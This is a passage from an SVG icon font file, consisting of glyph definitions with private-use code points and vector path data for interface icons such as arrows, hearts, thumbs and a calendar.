<glyph unicode="&#xe103;" d="M0 -22v143l216 193q-9 53 -13 83t-5.5 94t9 113t38.5 114t74 124q47 60 99.5 102.5t103 68t127.5 48t145.5 37.5t184.5 43.5t220 58.5q0 -189 -22 -343t-59 -258t-89 -181.5t-108.5 -120t-122 -68t-125.5 -30t-121.5 -1.5t-107.5 12.5t-87.5 17t-56.5 7.5l-99 -55z M238.5 300.5q19.5 -6.5 86.5 76.5q55 66 367 234q70 38 118.5 69.5t102 79t99 111.5t86.5 148q22 50 24 60t-6 19q-7 5 -17 5t-26.5 -14.5t-33.5 -39.5q-35 -51 -113.5 -108.5t-139.5 -89.5l-61 -32q-369 -197 -458 -401q-48 -111 -28.5 -117.5z" />
<glyph unicode="&#xe104;" d="M111 408q0 -33 5 -63q9 -56 44 -119.5t105 -108.5q31 -21 64 -16t62 23.5t57 49.5t48 61.5t35 60.5q32 66 39 184.5t-13 157.5q79 -80 122 -164t26 -184q-5 -33 -20.5 -69.5t-37.5 -80.5q-10 -19 -14.5 -29t-12 -26t-9 -23.5t-3 -19t2.5 -15.5t11 -9.5t19.5 -5t30.5 2.5 t42 8q57 20 91 34t87.5 44.5t87 64t65.5 88.5t47 122q38 172 -44.5 341.5t-246.5 278.5q22 -44 43 -129q39 -159 -32 -154q-15 2 -33 9q-79 33 -120.5 100t-44 175.5t48.5 257.5q-13 -8 -34 -23.5t-72.5 -66.5t-88.5 -105.5t-60 -138t-8 -166.5q2 -12 8 -41.5t8 -43t6 -39.5 t3.5 -39.5t-1 -33.5t-6 -31.5t-13.5 -24t-21 -20.5t-31 -12q-38 -10 -67 13t-40.5 61.5t-15 81.5t10.5 75q-52 -46 -83.5 -101t-39 -107t-7.5 -85z" />
<glyph unicode="&#xe105;" d="M-61 600l26 40q6 10 20 30t49 63.5t74.5 85.5t97 90t116.5 83.5t132.5 59t145.5 23.5t145.5 -23.5t132.5 -59t116.5 -83.5t97 -90t74.5 -85.5t49 -63.5t20 -30l26 -40l-26 -40q-6 -10 -20 -30t-49 -63.5t-74.5 -85.5t-97 -90t-116.5 -83.5t-132.5 -59t-145.5 -23.5 t-145.5 23.5t-132.5 59t-116.5 83.5t-97 90t-74.5 85.5t-49 63.5t-20 30zM120 600q7 -10 40.5 -58t56 -78.5t68 -77.5t87.5 -75t103 -49.5t125 -21.5t123.5 20t100.5 45.5t85.5 71.5t66.5 75.5t58 81.5t47 66q-1 1 -28.5 37.5t-42 55t-43.5 53t-57.5 63.5t-58.5 54 q49 -74 49 -163q0 -124 -88 -212t-212 -88t-212 88t-88 212q0 85 46 158q-102 -87 -226 -258zM377 656q49 -124 154 -191l105 105q-37 24 -75 72t-57 84l-20 36z" />
<glyph unicode="&#xe106;" d="M-61 600l26 40q6 10 20 30t49 63.5t74.5 85.5t97 90t116.5 83.5t132.5 59t145.5 23.5q61 0 121 -17l37 142h148l-314 -1200h-148l37 143q-82 21 -165 71.5t-140 102t-109.5 112t-72 88.5t-29.5 43zM120 600q210 -282 393 -336l37 141q-107 18 -178.5 101.5t-71.5 193.5 q0 85 46 158q-102 -87 -226 -258zM377 656q49 -124 154 -191l47 47l23 87q-30 28 -59 69t-44 68l-14 26zM780 161l38 145q22 15 44.5 34t46 44t40.5 44t41 50.5t33.5 43.5t33 44t24.5 34q-97 127 -140 175l39 146q67 -54 131.5 -125.5t87.5 -103.5t36 -52l26 -40l-26 -40 q-7 -12 -25.5 -38t-63.5 -79.5t-95.5 -102.5t-124 -100t-146.5 -79z" />
<glyph unicode="&#xe107;" d="M-97.5 34q13.5 -34 50.5 -34h1294q37 0 50.5 35.5t-7.5 67.5l-642 1056q-20 33 -48 36t-48 -29l-642 -1066q-21 -32 -7.5 -66zM155 200l445 723l445 -723h-345v100h-200v-100h-345zM500 600l100 -300l100 300v100h-200v-100z" />
<glyph unicode="&#xe108;" d="M100 262v41q0 20 11 44.5t26 38.5l363 325v339q0 62 44 106t106 44t106 -44t44 -106v-339l363 -325q15 -14 26 -38.5t11 -44.5v-41q0 -20 -12 -26.5t-29 5.5l-359 249v-263q100 -91 100 -113v-64q0 -21 -13 -29t-32 1l-94 78h-222l-94 -78q-19 -9 -32 -1t-13 29v64 q0 22 100 113v263l-359 -249q-17 -12 -29 -5.5t-12 26.5z" />
<glyph unicode="&#xe109;" d="M0 50q0 -20 14.5 -35t35.5 -15h1000q21 0 35.5 15t14.5 35v750h-1100v-750zM0 900h1100v150q0 21 -14.5 35.5t-35.5 14.5h-150v100h-100v-100h-500v100h-100v-100h-150q-21 0 -35.5 -14.5t-14.5 -35.5v-150zM100 100v100h100v-100h-100zM100 300v100h100v-100h-100z M100 500v100h100v-100h-100zM300 100v100h100v-100h-100zM300 300v100h100v-100h-100zM300 500v100h100v-100h-100zM500 100v100h100v-100h-100zM500 300v100h100v-100h-100zM500 500v100h100v-100h-100zM700 100v100h100v-100h-100zM700 300v100h100v-100h-100zM700 500 v100h100v-100h-100zM900 100v100h100v-100h-100zM900 300v100h100v-100h-100zM900 500v100h100v-100h-100z" />
<glyph unicode="&#xe110;" d="M0 200v200h259l600 600h241v198l300 -295l-300 -300v197h-159l-600 -600h-341zM0 800h259l122 -122l141 142l-181 180h-341v-200zM678 381l141 142l122 -123h159v198l300 -295l-300 -300v197h-241z" />
<glyph unicode="&#xe111;" d="M0 400v600q0 41 29.5 70.5t70.5 29.5h1000q41 0 70.5 -29.5t29.5 -70.5v-600q0 -41 -29.5 -70.5t-70.5 -29.5h-596l-304 -300v300h-100q-41 0 -70.5 29.5t-29.5 70.5z" />
<glyph unicode="&#xe112;" d="M100 600v200h300v-250q0 -113 6 -145q17 -92 102 -117q39 -11 92 -11q37 0 66.5 5.5t50 15.5t36 24t24 31.5t14 37.5t7 42t2.5 45t0 47v25v250h300v-200q0 -42 -3 -83t-15 -104t-31.5 -116t-58 -109.5t-89 -96.5t-129 -65.5t-174.5 -25.5t-174.5 25.5t-129 65.5t-89 96.5 t-58 109.5t-31.5 116t-15 104t-3 83zM100 900v300h300v-300h-300zM800 900v300h300v-300h-300z" />
<glyph unicode="&#xe113;" d="M-30 411l227 -227l352 353l353 -353l226 227l-578 579z" />
<glyph unicode="&#xe114;" d="M70 797l580 -579l578 579l-226 227l-353 -353l-352 353z" />
<glyph unicode="&#xe115;" d="M-198 700l299 283l300 -283h-203v-400h385l215 -200h-800v600h-196zM402 1000l215 -200h381v-400h-198l299 -283l299 283h-200v600h-796z" />
<glyph unicode="&#xe116;" d="M18 939q-5 24 10 42q14 19 39 19h896l38 162q5 17 18.5 27.5t30.5 10.5h94q20 0 35 -14.5t15 -35.5t-15 -35.5t-35 -14.5h-54l-201 -961q-2 -4 -6 -10.5t-19 -17.5t-33 -11h-31v-50q0 -20 -14.5 -35t-35.5 -15t-35.5 15t-14.5 35v50h-300v-50q0 -20 -14.5 -35t-35.5 -15 t-35.5 15t-14.5 35v50h-50q-21 0 -35.5 15t-14.5 35q0 21 14.5 35.5t35.5 14.5h535l48 200h-633q-32 0 -54.5 21t-27.5 43z" />
<glyph unicode="&#xe117;" d="M0 0v800h1200v-800h-1200zM0 900v100h200q0 41 29.5 70.5t70.5 29.5h300q41 0 70.5 -29.5t29.5 -70.5h500v-100h-1200z" />
<glyph unicode="&#xe118;" d="M1 0l300 700h1200l-300 -700h-1200zM1 400v600h200q0 41 29.5 70.5t70.5 29.5h300q41 0 70.5 -29.5t29.5 -70.5h500v-200h-1000z" />
<glyph unicode="&#xe119;" d="M302 300h198v600h-198l298 300l298 -300h-198v-600h198l-298 -300z" />
<glyph unicode="&#xe120;" d="M0 600l300 298v-198h600v198l300 -298l-300 -297v197h-600v-197z" />
<glyph unicode="&#xe121;" d="M0 100v100q0 41 29.5 70.5t70.5 29.5h1000q41 0 70.5 -29.5t29.5 -70.5v-100q0 -41 -29.5 -70.5t-70.5 -29.5h-1000q-41 0 -70.5 29.5t-29.5 70.5zM31 400l172 739q5 22 23 41.5t38 19.5h672q19 0 37.5 -22.5t23.5 -45.5l172 -732h-1138zM800 100h100v100h-100v-100z M1000 100h100v100h-100v-100z" />
<glyph unicode="&#xe122;" d="M-101 600v50q0 24 25 49t50 38l25 13v-250l-11 5.5t-24 14t-30 21.5t-24 27.5t-11 31.5zM99 500v250v5q0 13 0.5 18.5t2.5 13t8 10.5t15 3h200l675 250v-850l-675 200h-38l47 -276q2 -12 -3 -17.5t-11 -6t-21 -0.5h-8h-83q-20 0 -34.5 14t-18.5 35q-56 337 -56 351z M1100 200v850q0 21 14.5 35.5t35.5 14.5q20 0 35 -14.5t15 -35.5v-850q0 -20 -15 -35t-35 -15q-21 0 -35.5 15t-14.5 35z" />
<glyph unicode="&#xe123;" d="M74 350q0 21 13.5 35.5t33.5 14.5h17l118 173l63 327q15 77 76 140t144 83l-18 32q-6 19 3 32t29 13h94q20 0 29 -10.5t3 -29.5l-18 -37q83 -19 144 -82.5t76 -140.5l63 -327l118 -173h17q20 0 33.5 -14.5t13.5 -35.5q0 -20 -13 -40t-31 -27q-22 -9 -63 -23t-167.5 -37 t-251.5 -23t-245.5 20.5t-178.5 41.5l-58 20q-18 7 -31 27.5t-13 40.5zM497 110q12 -49 40 -79.5t63 -30.5t63 30.5t39 79.5q-48 -6 -102 -6t-103 6z" />
<glyph unicode="&#xe124;" d="M21 445l233 -45l-78 -224l224 78l45 -233l155 179l155 -179l45 233l224 -78l-78 224l234 45l-180 155l180 156l-234 44l78 225l-224 -78l-45 233l-155 -180l-155 180l-45 -233l-224 78l78 -225l-233 -44l179 -156z" />
<glyph unicode="&#xe125;" d="M0 200h200v600h-200v-600zM300 275q0 -75 100 -75h61q123 -100 139 -100h250q46 0 83 57l238 344q29 31 29 74v100q0 44 -30.5 84.5t-69.5 40.5h-328q28 118 28 125v150q0 44 -30.5 84.5t-69.5 40.5h-50q-27 0 -51 -20t-38 -48l-96 -198l-145 -196q-20 -26 -20 -63v-400z M400 300v375l150 212l100 213h50v-175l-50 -225h450v-125l-250 -375h-214l-136 100h-100z" />
<glyph unicode="&#xe126;" d="M0 400v600h200v-600h-200zM300 525v400q0 75 100 75h61q123 100 139 100h250q46 0 83 -57l238 -344q29 -31 29 -74v-100q0 -44 -30.5 -84.5t-69.5 -40.5h-328q28 -118 28 -125v-150q0 -44 -30.5 -84.5t-69.5 -40.5h-50q-27 0 -51 20t-38 48l-96 198l-145 196 q-20 26 -20 63zM400 525l150 -212l100 -213h50v175l-50 225h450v125l-250 375h-214l-136 -100h-100v-375z" />
<glyph unicode="&#xe127;" d="M8 200v600h200v-600h-200zM308 275v525q0 17 14 35.5t28 28.5l14 9l362 230q14 6 25 6q17 0 29 -12l109 -112q14 -14 14 -34q0 -18 -11 -32l-85 -121h302q85 0 138.5 -38t53.5 -110t-54.5 -111t-138.5 -39h-107l-130 -339q-7 -22 -20.5 -41.5t-28.5 -19.5h-341 q-7 0 -90 81t-83 94zM408 289l100 -89h293l131 339q6 21 19.5 41t28.5 20h203q16 0 25 15t9 36q0 20 -9 34.5t-25 14.5h-457h-6.5h-7.5t-6.5 0.5t-6 1t-5 1.5t-5.5 2.5t-4 4t-4 5.5q-5 12 -5 20q0 14 10 27l147 183l-86 83l-339 -236v-503z" />
<glyph unicode="&#xe128;" d="M-101 651q0 72 54 110t139 37h302l-85 121q-11 16 -11 32q0 21 14 34l109 113q13 12 29 12q11 0 25 -6l365 -230q7 -4 16.5 -10.5t26 -26t16.5 -36.5v-526q0 -13 -85.5 -93.5t-93.5 -80.5h-342q-15 0 -28.5 20t-19.5 41l-131 339h-106q-84 0 -139 39t-55 111zM-1 601h222 q15 0 28.5 -20.5t19.5 -40.5l131 -339h293l106 89v502l-342 237l-87 -83l145 -184q10 -11 10 -26q0 -11 -5 -20q-1 -3 -3.5 -5.5l-4 -4t-5 -2.5t-5.5 -1.5t-6.5 -1t-6.5 -0.5h-7.5h-6.5h-476v-100zM999 201v600h200v-600h-200z" />
<glyph unicode="&#xe129;" d="M97 719l230 -363q4 -6 10.5 -15.5t26 -25t36.5 -15.5h525q13 0 94 83t81 90v342q0 15 -20 28.5t-41 19.5l-339 131v106q0 84 -39 139t-111 55t-110 -53.5t-38 -138.5v-302l-121 84q-15 12 -33.5 11.5t-32.5 -13.5l-112 -110q-22 -22 -6 -53zM172 739l83 86l183 -146 q22 -18 47 -5q3 1 5.5 3.5l4 4t2.5 5t1.5 5.5t1 6.5t0.5 6v7.5v7v456q0 22 25 31t50 -0.5t25 -30.5v-202q0 -16 20 -29.5t41 -19.5l339 -130v-294l-89 -100h-503zM400 0v200h600v-200h-600z" />
<glyph unicode="&#xe130;" d="M1 585q-15 -31 7 -53l112 -110q13 -13 32 -13.5t34 10.5l121 85l-1 -302q0 -84 38.5 -138t110.5 -54t111 55t39 139v106l339 131q20 6 40.5 19.5t20.5 28.5v342q0 7 -81 90t-94 83h-525q-17 0 -35.5 -14t-28.5 -28l-10 -15zM76 565l237 339h503l89 -100v-294l-340 -130 q-20 -6 -40 -20t-20 -29v-202q0 -22 -25 -31t-50 0t-25 31v456v14.5t-1.5 11.5t-5 12t-9.5 7q-24 13 -46 -5l-184 -146zM305 1104v200h600v-200h-600z" />
<glyph unicode="&#xe131;" d="M5 597q0 122 47.5 232.5t127.5 190.5t190.5 127.5t232.5 47.5q162 0 299.5 -80t217.5 -218t80 -300t-80 -299.5t-217.5 -217.5t-299.5 -80t-300 80t-218 217.5t-80 299.5zM300 500h300l-2 -194l402 294l-402 298v-197h-298v-201z" />
<glyph unicode="&#xe132;" d="M0 597q0 122 47.5 232.5t127.5 190.5t190.5 127.5t231.5 47.5q122 0 232.5 -47.5t190.5 -127.5t127.5 -190.5t47.5 -232.5q0 -162 -80 -299.5t-218 -217.5t-300 -80t-299.5 80t-217.5 217.5t-80 299.5zM200 600l400 -294v194h302v201h-300v197z" />
<glyph unicode="&#xe133;" d="M5 597q0 122 47.5 232.5t127.5 190.5t190.5 127.5t232.5 47.5q121 0 231.5 -47.5t190.5 -127.5t127.5 -190.5t47.5 -232.5q0 -162 -80 -299.5t-217.5 -217.5t-299.5 -80t-300 80t-218 217.5t-80 299.5zM300 600h200v-300h200v300h200l-300 400z" />
<glyph unicode="&#xe134;" d="M5 597q0 122 47.5 232.5t127.5 190.5t190.5 127.5t232.5 47.5q121 0 231.5 -47.5t190.5 -127.5t127.5 -190.5t47.5 -232.5q0 -162 -80 -299.5t-217.5 -217.5t-299.5 -80t-300 80t-218 217.5t-80 299.5zM300 600l300 -400l300 400h-200v300h-200v-300h-200z" />
<glyph unicode="&#xe135;" d="M5 597q0 122 47.5 232.5t127.5 190.5t190.5 127.5t232.5 47.5q121 0 231.5 -47.5t190.5 -127.5t127.5 -190.5t47.5 -232.5q0 -162 -80 -299.5t-217.5 -217.5t-299.5 -80t-300 80t-218 217.5t-80 299.5zM254 780q-8 -34 5.5 -93t7.5 -87q0 -9 17 -44t16 -60q12 0 23 -5.5 t23 -15t20 -13.5q20 -10 108 -42q22 -8 53 -31.5t59.5 -38.5t57.5 -11q8 -18 -15 -55.5t-20 -57.5q12 -21 22.5 -34.5t28 -27t36.5 -17.5q0 -6 -3 -15.5t-3.5 -14.5t4.5 -17q101 -2 221 111q31 30 47 48t34 49t21 62q-14 9 -37.5 9.5t-35.5 7.5q-14 7 -49 15t-52 19 q-9 0 -39.5 -0.5t-46.5 -1.5t-39 -6.5t-39 -16.5q-50 -35 -66 -12q-4 2 -3.5 25.5t0.5 25.5q-6 13 -26.5 17t-24.5 7q2 22 -2 41t-16.5 28t-38.5 -20q-23 -25 -42 4q-19 28 -8 58q8 16 22 22q6 -1 26 -1.5t33.5 -4.5t19.5 -13q12 -19 32 -37.5t34 -27.5l14 -8q0 3 9.5 39.5 t5.5 57.5q-4 23 14.5 44.5t22.5 31.5q5 14 10 35t8.5 31t15.5 22.5t34 21.5q-6 18 10 37q8 0 23.5 -1.5t24.5 -1.5t20.5 4.5t20.5 15.5q-10 23 -30.5 42.5t-38 30t-49 26.5t-43.5 23q11 41 1 44q31 -13 58.5 -14.5t39.5 3.5l11 4q6 36 -17 53.5t-64 28.5t-56 23 q-19 -3 -37 0q-15 -12 -36.5 -21t-34.5 -12t-44 -8t-39 -6q-15 -3 -46 0t-45 -3q-20 -6 -51.5 -25.5t-34.5 -34.5q-3 -11 6.5 -22.5t8.5 -18.5q-3 -34 -27.5 -91t-29.5 -79zM518 915q3 12 16 30.5t16 25.5q10 -10 18.5 -10t14 6t14.5 14.5t16 12.5q0 -18 8 -42.5t16.5 -44 t9.5 -23.5q-6 1 -39 5t-53.5 10t-36.5 16z" />
<glyph unicode="&#xe136;" d="M0 164.5q0 21.5 15 37.5l600 599q-33 101 6 201.5t135 154.5q164 92 306 -9l-259 -138l145 -232l251 126q13 -175 -151 -267q-123 -70 -253 -23l-596 -596q-15 -16 -36.5 -16t-36.5 16l-111 110q-15 15 -15 36.5z" />
<glyph unicode="&#xe137;" horiz-adv-x="1220" d="M0 196v100q0 41 29.5 70.5t70.5 29.5h1000q41 0 70.5 -29.5t29.5 -70.5v-100q0 -41 -29.5 -70.5t-70.5 -29.5h-1000q-41 0 -70.5 29.5t-29.5 70.5zM0 596v100q0 41 29.5 70.5t70.5 29.5h1000q41 0 70.5 -29.5t29.5 -70.5v-100q0 -41 -29.5 -70.5t-70.5 -29.5h-1000 q-41 0 -70.5 29.5t-29.5 70.5zM0 996v100q0 41 29.5 70.5t70.5 29.5h1000q41 0 70.5 -29.5t29.5 -70.5v-100q0 -41 -29.5 -70.5t-70.5 -29.5h-1000q-41 0 -70.5 29.5t-29.5 70.5zM600 596h500v100h-500v-100zM800 196h300v100h-300v-100zM900 996h200v100h-200v-100z" />
<glyph unicode="&#xe138;" d="M100 1100v100h1000v-100h-1000zM150 1000h900l-350 -500v-300l-200 -200v500z" />
<glyph unicode="&#xe139;" d="M0 200v200h1200v-200q0 -41 -29.5 -70.5t-70.5 -29.5h-1000q-41 0 -70.5 29.5t-29.5 70.5zM0 500v400q0 41 29.5 70.5t70.5 29.5h300v100q0 41 29.5 70.5t70.5 29.5h200q41 0 70.5 -29.5t29.5 -70.5v-100h300q41 0 70.5 -29.5t29.5 -70.5v-400h-500v100h-200v-100h-500z M500 1000h200v100h-200v-100z" />
<glyph unicode="&#xe140;" d="M0 0v400l129 -129l200 200l142 -142l-200 -200l129 -129h-400zM0 800l129 129l200 -200l142 142l-200 200l129 129h-400v-400zM729 329l142 142l200 -200l129 129v-400h-400l129 129zM729 871l200 200l-129 129h400v-400l-129 129l-200 -200z" />
<glyph unicode="&#xe141;" d="M0 596q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM182 596q0 -172 121.5 -293t292.5 -121t292.5 121t121.5 293q0 171 -121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM291 655 q0 23 15.5 38.5t38.5 15.5t39 -16t16 -38q0 -23 -16 -39t-39 -16q-22 0 -38 16t-16 39zM400 850q0 22 16 38.5t39 16.5q22 0 38 -16t16 -39t-16 -39t-38 -16q-23 0 -39 16.5t-16 38.5zM513 609q0 32 21 56.5t52 29.5l122 126l1 1q-9 14 -9 28q0 22 16 38.5t39 16.5 q22 0 38 -16t16 -39t-16 -39t-38 -16q-16 0 -29 10l-55 -145q17 -22 17 -51q0 -36 -25.5 -61.5t-61.5 -25.5q-37 0 -62.5 25.5t-25.5 61.5zM800 655q0 22 16 38t39 16t38.5 -15.5t15.5 -38.5t-16 -39t-38 -16q-23 0 -39 16t-16 39z" />
<glyph unicode="&#xe142;" d="M-40 375q-13 -95 35 -173q35 -57 94 -89t129 -32q63 0 119 28q33 16 65 40.5t52.5 45.5t59.5 64q40 44 57 61l394 394q35 35 47 84t-3 96q-27 87 -117 104q-20 2 -29 2q-46 0 -79.5 -17t-67.5 -51l-388 -396l-7 -7l69 -67l377 373q20 22 39 38q23 23 50 23q38 0 53 -36 q16 -39 -20 -75l-547 -547q-52 -52 -125 -52q-55 0 -100 33t-54 96q-5 35 2.5 66t31.5 63t42 50t56 54q24 21 44 41l348 348q52 52 82.5 79.5t84 54t107.5 26.5q25 0 48 -4q95 -17 154 -94.5t51 -175.5q-7 -101 -98 -192l-252 -249l-253 -256l7 -7l69 -60l517 511 q67 67 95 157t11 183q-16 87 -67 154t-130 103q-69 33 -152 33q-107 0 -197 -55q-40 -24 -111 -95l-512 -512q-68 -68 -81 -163z" />
<glyph unicode="&#xe143;" d="M79 784q0 131 99 229.5t230 98.5q144 0 242 -129q103 129 245 129q130 0 227 -98.5t97 -229.5q0 -46 -17.5 -91t-61 -99t-77 -89.5t-104.5 -105.5q-197 -191 -293 -322l-17 -23l-16 23q-43 58 -100 122.5t-92 99.5t-101 100l-84.5 84.5t-68 74t-60 78t-33.5 70.5t-15 78z M250 784q0 -27 30.5 -70t61.5 -75.5t95 -94.5l22 -22q93 -90 190 -201q82 92 195 203l12 12q64 62 97.5 97t64.5 79t31 72q0 71 -48 119.5t-106 48.5q-73 0 -131 -83l-118 -171l-114 174q-51 80 -124 80q-59 0 -108.5 -49.5t-49.5 -118.5z" />
<glyph unicode="&#xe144;" d="M57 353q0 -94 66 -160l141 -141q66 -66 159 -66q95 0 159 66l283 283q66 66 66 159t-66 159l-141 141q-12 12 -19 17l-105 -105l212 -212l-389 -389l-247 248l95 95l-18 18q-46 45 -75 101l-55 -55q-66 -66 -66 -159zM269 706q0 -93 66 -159l141 -141l19 -17l105 105 l-212 212l389 389l247 -247l-95 -96l18 -18q46 -46 77 -99l29 29q35 35 62.5 88t27.5 96q0 93 -66 159l-141 141q-66 66 -159 66q-95 0 -159 -66l-283 -283q-66 -64 -66 -159z" />
<glyph unicode="&#xe145;" d="M200 100v953q0 21 30 46t81 48t129 38t163 15t162 -15t127 -38t79 -48t29 -46v-953q0 -41 -29.5 -70.5t-70.5 -29.5h-600q-41 0 -70.5 29.5t-29.5 70.5zM300 300h600v700h-600v-700zM496 150q0 -43 30.5 -73.5t73.5 -30.5t73.5 30.5t30.5 73.5t-30.5 73.5t-73.5 30.5 t-73.5 -30.5t-30.5 -73.5z" />
<glyph unicode="&#xe146;" d="M0 0l303 380l207 208l-210 212h300l267 279l-35 36q-15 14 -15 35t15 35q14 15 35 15t35 -15l283 -282q15 -15 15 -36t-15 -35q-14 -15 -35 -15t-35 15l-36 35l-279 -267v-300l-212 210l-208 -207z" />
<glyph unicode="&#xe148;" d="M295 433h139q5 -77 48.5 -126.5t117.5 -64.5v335l-27 7q-46 14 -79 26.5t-72 36t-62.5 52t-40 72.5t-16.5 99q0 92 44 159.5t109 101t144 40.5v78h100v-79q38 -4 72.5 -13.5t75.5 -31.5t71 -53.5t51.5 -84t24.5 -118.5h-159q-8 72 -35 109.5t-101 50.5v-307l64 -14 q34 -7 64 -16.5t70 -31.5t67.5 -52t47.5 -80.5t20 -112.5q0 -139 -89 -224t-244 -96v-77h-100v78q-152 17 -237 104q-40 40 -52.5 93.5t-15.5 139.5zM466 889q0 -29 8 -51t16.5 -34t29.5 -22.5t31 -13.5t38 -10q7 -2 11 -3v274q-61 -8 -97.5 -37.5t-36.5 -102.5zM700 237 q170 18 170 151q0 64 -44 99.5t-126 60.5v-311z" />
<glyph unicode="&#xe149;" d="M100 600v100h166q-24 49 -44 104q-10 26 -14.5 55.5t-3 72.5t25 90t68.5 87q97 88 263 88q129 0 230 -89t101 -208h-153q0 52 -34 89.5t-74 51.5t-76 14q-37 0 -79 -14.5t-62 -35.5q-41 -44 -41 -101q0 -11 2.5 -24.5t5.5 -24t9.5 -26.5t10.5 -25t14 -27.5t14 -25.5 t15.5 -27t13.5 -24h242v-100h-197q8 -50 -2.5 -115t-31.5 -94q-41 -59 -99 -113q35 11 84 18t70 7q32 1 102 -16t104 -17q76 0 136 30l50 -147q-41 -25 -80.5 -36.5t-59 -13t-61.5 -1.5q-23 0 -128 33t-155 29q-39 -4 -82 -17t-66 -25l-24 -11l-55 145l16.5 11t15.5 10 t13.5 9.5t14.5 12t14.5 14t17.5 18.5q48 55 54 126.5t-30 142.5h-221z" />
<glyph unicode="&#xe150;" d="M2 300l298 -300l298 300h-198v900h-200v-900h-198zM602 900l298 300l298 -300h-198v-900h-200v900h-198z" />
<glyph unicode="&#xe151;" d="M2 300h198v900h200v-900h198l-298 -300zM700 0v200h100v-100h200v-100h-300zM700 400v100h300v-200h-99v-100h-100v100h99v100h-200zM700 700v500h300v-500h-100v100h-100v-100h-100zM801 900h100v200h-100v-200z" />
<glyph unicode="&#xe152;" d="M2 300h198v900h200v-900h198l-298 -300zM700 0v500h300v-500h-100v100h-100v-100h-100zM700 700v200h100v-100h200v-100h-300zM700 1100v100h300v-200h-99v-100h-100v100h99v100h-200zM801 200h100v200h-100v-200z" />
<glyph unicode="&#xe153;" d="M2 300l298 -300l298 300h-198v900h-200v-900h-198zM800 100v400h300v-500h-100v100h-200zM800 1100v100h200v-500h-100v400h-100zM901 200h100v200h-100v-200z" />
<glyph unicode="&#xe154;" d="M2 300l298 -300l298 300h-198v900h-200v-900h-198zM800 400v100h200v-500h-100v400h-100zM800 800v400h300v-500h-100v100h-200zM901 900h100v200h-100v-200z" />
<glyph unicode="&#xe155;" d="M2 300l298 -300l298 300h-198v900h-200v-900h-198zM700 100v200h500v-200h-500zM700 400v200h400v-200h-400zM700 700v200h300v-200h-300zM700 1000v200h200v-200h-200z" />
<glyph unicode="&#xe156;" d="M2 300l298 -300l298 300h-198v900h-200v-900h-198zM700 100v200h200v-200h-200zM700 400v200h300v-200h-300zM700 700v200h400v-200h-400zM700 1000v200h500v-200h-500z" />
<glyph unicode="&#xe157;" d="M0 400v300q0 165 117.5 282.5t282.5 117.5h300q162 0 281 -118.5t119 -281.5v-300q0 -165 -118.5 -282.5t-281.5 -117.5h-300q-165 0 -282.5 117.5t-117.5 282.5zM200 300q0 -41 29.5 -70.5t70.5 -29.5h500q41 0 70.5 29.5t29.5 70.5v500q0 41 -29.5 70.5t-70.5 29.5 h-500q-41 0 -70.5 -29.5t-29.5 -70.5v-500z" />
<glyph unicode="&#xe158;" d="M0 400v300q0 163 119 281.5t281 118.5h300q165 0 282.5 -117.5t117.5 -282.5v-300q0 -165 -117.5 -282.5t-282.5 -117.5h-300q-163 0 -281.5 117.5t-118.5 282.5zM200 300q0 -41 29.5 -70.5t70.5 -29.5h500q41 0 70.5 29.5t29.5 70.5v500q0 41 -29.5 70.5t-70.5 29.5 h-500q-41 0 -70.5 -29.5t-29.5 -70.5v-500zM400 300l333 250l-333 250v-500z" />
<glyph unicode="&#xe159;" d="M0 400v300q0 163 117.5 281.5t282.5 118.5h300q163 0 281.5 -119t118.5 -281v-300q0 -165 -117.5 -282.5t-282.5 -117.5h-300q-165 0 -282.5 117.5t-117.5 282.5zM200 300q0 -41 29.5 -70.5t70.5 -29.5h500q41 0 70.5 29.5t29.5 70.5v500q0 41 -29.5 70.5t-70.5 29.5 h-500q-41 0 -70.5 -29.5t-29.5 -70.5v-500zM300 700l250 -333l250 333h-500z" />
<glyph unicode="&#xe160;" d="M0 400v300q0 165 117.5 282.5t282.5 117.5h300q165 0 282.5 -117.5t117.5 -282.5v-300q0 -162 -118.5 -281t-281.5 -119h-300q-165 0 -282.5 118.5t-117.5 281.5zM200 300q0 -41 29.5 -70.5t70.5 -29.5h500q41 0 70.5 29.5t29.5 70.5v500q0 41 -29.5 70.5t-70.5 29.5 h-500q-41 0 -70.5 -29.5t-29.5 -70.5v-500zM300 400h500l-250 333z" />
<glyph unicode="&#xe161;" d="M0 400v300h300v200l400 -350l-400 -350v200h-300zM500 0v200h500q41 0 70.5 29.5t29.5 70.5v500q0 41 -29.5 70.5t-70.5 29.5h-500v200h400q165 0 282.5 -117.5t117.5 -282.5v-300q0 -165 -117.5 -282.5t-282.5 -117.5h-400z" />
<glyph unicode="&#xe162;" d="M216 519q10 -19 32 -19h302q-155 -438 -160 -458q-5 -21 4 -32l9 -8l9 -1q13 0 26 16l538 630q15 19 6 36q-8 18 -32 16h-300q1 4 78 219.5t79 227.5q2 17 -6 27l-8 8h-9q-16 0 -25 -15q-4 -5 -98.5 -111.5t-228 -257t-209.5 -238.5q-17 -19 -7 -40z" />
<glyph unicode="&#xe163;" d="M0 400q0 -165 117.5 -282.5t282.5 -117.5h300q47 0 100 15v185h-500q-41 0 -70.5 29.5t-29.5 70.5v500q0 41 29.5 70.5t70.5 29.5h500v185q-14 4 -114 7.5t-193 5.5l-93 2q-165 0 -282.5 -117.5t-117.5 -282.5v-300zM600 400v300h300v200l400 -350l-400 -350v200h-300z " />
<glyph unicode="&#xe164;" d="M0 400q0 -165 117.5 -282.5t282.5 -117.5h300q163 0 281.5 117.5t118.5 282.5v98l-78 73l-122 -123v-148q0 -41 -29.5 -70.5t-70.5 -29.5h-500q-41 0 -70.5 29.5t-29.5 70.5v500q0 41 29.5 70.5t70.5 29.5h156l118 122l-74 78h-100q-165 0 -282.5 -117.5t-117.5 -282.5 v-300zM496 709l353 342l-149 149h500v-500l-149 149l-342 -353z" />
<glyph unicode="&#xe165;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -171 121.5 -292.5t292.5 -121.5t292.5 121.5t121.5 292.5t-121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM406 600 q0 80 57 137t137 57t137 -57t57 -137t-57 -137t-137 -57t-137 57t-57 137z" />
<glyph unicode="&#xe166;" d="M0 0v275q0 11 7 18t18 7h1048q11 0 19 -7.5t8 -17.5v-275h-1100zM100 800l445 -500l450 500h-295v400h-300v-400h-300zM900 150h100v50h-100v-50z" />
